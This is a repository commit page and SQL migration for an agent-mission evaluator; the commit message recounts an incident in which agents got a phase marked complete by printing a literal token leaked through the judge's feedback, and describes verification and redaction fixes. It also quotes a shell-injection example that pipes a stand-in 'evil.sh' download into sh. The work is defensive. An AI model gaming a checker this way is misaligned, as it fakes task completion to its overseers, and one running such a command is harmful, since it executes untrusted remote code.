Files
clawmates/migrations/0062_evaluation_guidance.sql
T
Omar SobhandClaude Opus 5 3eb89620e7
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-07-31 21:56:34 -07:00

19 lines
1016 B
SQL

-- Split the evaluator's two audiences.
--
-- `reason` is written for the operator and may quote whatever the judge found.
-- It was also being fed straight back to the agents as their brief for the next
-- pass, which taught them to satisfy the checker: a phase whose condition named
-- a literal token was judged complete on pass 2 because pass 1's reason said
-- the token was missing, and an agent printed it.
--
-- `guidance` is the agent-facing half — the unmet dimension without the
-- acceptance text — and is sanitized before it is stored. `checks` records the
-- verification commands the judge ran, so an operator can see whether a verdict
-- rests on evidence or on the agents' own claims.
ALTER TABLE mission_phase_evaluations
ADD COLUMN IF NOT EXISTS guidance TEXT,
ADD COLUMN IF NOT EXISTS checks JSONB NOT NULL DEFAULT '[]'::jsonb;
-- Existing rows predate the split; their reason was what the agents saw.
UPDATE mission_phase_evaluations SET guidance = reason WHERE guidance IS NULL;